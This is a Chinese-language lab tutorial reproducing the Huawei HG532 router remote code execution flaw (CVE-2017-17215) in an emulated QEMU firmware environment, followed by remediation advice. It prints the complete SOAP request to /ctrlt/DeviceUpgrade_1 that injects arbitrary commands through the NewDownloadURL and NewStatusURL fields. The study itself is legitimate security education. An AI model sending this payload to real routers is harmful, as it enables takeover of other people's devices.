HG532RCE漏洞复现
字数 1453 2025-09-01 11:26:11

华为HG532路由器RCE漏洞复现与分析教学文档

1. 漏洞概述

华为HG532路由器存在一个远程代码执行(RCE)漏洞,编号为CVE-2017-17215。该漏洞存在于设备的UPnP(通用即插即用)服务中,具体是DeviceUpgrade SOAP接口处理不当,攻击者可以通过NewDownloadURL和NewStatusURL参数注入任意命令。

2. 漏洞背景

  • 漏洞披露: Check Point Research
  • 影响设备: 华为HG532系列路由器
  • 漏洞类型: 远程代码执行
  • CVSS评分: 9.8 (严重)

3. 环境准备

3.1 所需工具和镜像

  1. QEMU模拟器: 用于模拟MIPS架构环境
  2. Debian MIPS镜像:
    • 内核: vmlinux-2.6.32-5-4kc-malta
    • 镜像文件: debian_squeeze_mips_standard.qcow2
    • 下载地址: Debian QEMU镜像

3.2 网络配置

  1. 确保虚拟机和QEMU虚拟机之间可以互通
  2. 开启物理机转发功能以实现QEMU虚拟机的网络配置
  3. 修改/etc/network/interfaces,将eth0改为实际网卡(通常是eth1)
  4. 重启网络服务: sudo /etc/init.d/networking restart

4. 常见问题解决

4.1 Binwalk报错

错误信息:

AttributeError: module 'capstone' has no attribute 'CS_ARCH_ARM64'

解决方案:

sudo pip3 uninstall capstone

4.2 SSH连接问题

错误信息:

WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

原因: 远程主机的公钥发生了变化

解决方案:

ssh-keygen -R 192.168.xx.xxx

5. 漏洞分析

5.1 漏洞位置

漏洞存在于UPnP服务的DeviceUpgrade SOAP接口中,具体是NewDownloadURLNewStatusURL参数未经过正确验证,导致命令注入。

5.2 UPnP协议简介

UPnP(通用即插即用)是一种网络协议,主要用于:

  • 设备自动发现和配置网络服务
  • 实现路由器、智能电视等IoT设备的无缝连接
  • 简化设备联网过程,无需手动配置

5.3 漏洞触发点

  1. 通过IDA分析固件,搜索字符串NewDownloadURLNewStatusURL
  2. 定位到关键函数,发现对输入标签的处理直接使用system命令执行
  3. 攻击者可以通过;{cmd};格式的命令拼接实现RCE

6. 漏洞复现步骤

6.1 准备固件环境

  1. squashfs-root传入QEMU虚拟机:
scp -r ./squashfs-root root@192.168.xx.xxx:/root/
  1. 挂载必要的目录:
mount -t proc /proc ./squashfs-root/proc
mount -t devtmpfs /dev ./squashfs-root/dev
  1. 检查挂载是否成功:
mount
  1. 更换根目录以解决依赖库问题:
chroot ./squashfs-root /bin/sh

6.2 启动UPnP服务

  1. 查找服务端口:
grep -r '37215'

发现/bin/mic二进制文件使用该端口

  1. 启动服务:
/bin/mic
  1. 验证端口是否开放:
nc -vv 192.168.102.143 37215

6.3 构造攻击载荷

通过37215端口向/ctrlt/DeviceUpgrade_1地址发送精心构造的数据包:

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Host: 192.168.xx.xxx:37215
Content-Type: text/xml; charset=utf-8
SOAPAction: urn:DeviceConfig:1#DeviceUpgrade

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <u:DeviceUpgrade xmlns:u="urn:DeviceConfig:1">
      <NewDownloadURL>;{command};</NewDownloadURL>
      <NewStatusURL>;{command};</NewStatusURL>
    </u:DeviceUpgrade>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

其中{command}替换为要执行的任意命令。

6.4 验证RCE

  1. 在运行/bin/mic的终端中观察命令执行结果
  2. 可通过注入如idwhoami等命令验证权限

7. 漏洞修复建议

  1. NewDownloadURLNewStatusURL参数进行严格验证
  2. 避免直接将用户输入传递给system等危险函数
  3. 使用白名单机制限制允许的字符和格式
  4. 及时更新固件到最新版本

8. 参考资源

  1. [华为路由器漏洞CVE-2017-17215复现分析-先知社区]
  2. [华为HG532路由器RCE漏洞-先知社区]
  3. [SSH公钥变化问题解决-CSDN博客]
华为HG532路由器RCE漏洞复现与分析教学文档 1. 漏洞概述 华为HG532路由器存在一个远程代码执行(RCE)漏洞,编号为CVE-2017-17215。该漏洞存在于设备的UPnP(通用即插即用)服务中,具体是DeviceUpgrade SOAP接口处理不当,攻击者可以通过NewDownloadURL和NewStatusURL参数注入任意命令。 2. 漏洞背景 漏洞披露 : Check Point Research 影响设备 : 华为HG532系列路由器 漏洞类型 : 远程代码执行 CVSS评分 : 9.8 (严重) 3. 环境准备 3.1 所需工具和镜像 QEMU模拟器 : 用于模拟MIPS架构环境 Debian MIPS镜像 : 内核: vmlinux-2.6.32-5-4kc-malta 镜像文件: debian_squeeze_mips_standard.qcow2 下载地址: Debian QEMU镜像 3.2 网络配置 确保虚拟机和QEMU虚拟机之间可以互通 开启物理机转发功能以实现QEMU虚拟机的网络配置 修改 /etc/network/interfaces ,将eth0改为实际网卡(通常是eth1) 重启网络服务: sudo /etc/init.d/networking restart 4. 常见问题解决 4.1 Binwalk报错 错误信息 : 解决方案 : 4.2 SSH连接问题 错误信息 : 原因 : 远程主机的公钥发生了变化 解决方案 : 5. 漏洞分析 5.1 漏洞位置 漏洞存在于UPnP服务的 DeviceUpgrade SOAP接口中,具体是 NewDownloadURL 和 NewStatusURL 参数未经过正确验证,导致命令注入。 5.2 UPnP协议简介 UPnP(通用即插即用)是一种网络协议,主要用于: 设备自动发现和配置网络服务 实现路由器、智能电视等IoT设备的无缝连接 简化设备联网过程,无需手动配置 5.3 漏洞触发点 通过IDA分析固件,搜索字符串 NewDownloadURL 和 NewStatusURL 定位到关键函数,发现对输入标签的处理直接使用 system 命令执行 攻击者可以通过 ;{cmd}; 格式的命令拼接实现RCE 6. 漏洞复现步骤 6.1 准备固件环境 将 squashfs-root 传入QEMU虚拟机: 挂载必要的目录: 检查挂载是否成功: 更换根目录以解决依赖库问题: 6.2 启动UPnP服务 查找服务端口: 发现 /bin/mic 二进制文件使用该端口 启动服务: 验证端口是否开放: 6.3 构造攻击载荷 通过37215端口向 /ctrlt/DeviceUpgrade_1 地址发送精心构造的数据包: 其中 {command} 替换为要执行的任意命令。 6.4 验证RCE 在运行 /bin/mic 的终端中观察命令执行结果 可通过注入如 id 、 whoami 等命令验证权限 7. 漏洞修复建议 对 NewDownloadURL 和 NewStatusURL 参数进行严格验证 避免直接将用户输入传递给 system 等危险函数 使用白名单机制限制允许的字符和格式 及时更新固件到最新版本 8. 参考资源 [ 华为路由器漏洞CVE-2017-17215复现分析-先知社区 ] [ 华为HG532路由器RCE漏洞-先知社区 ] [ SSH公钥变化问题解决-CSDN博客 ]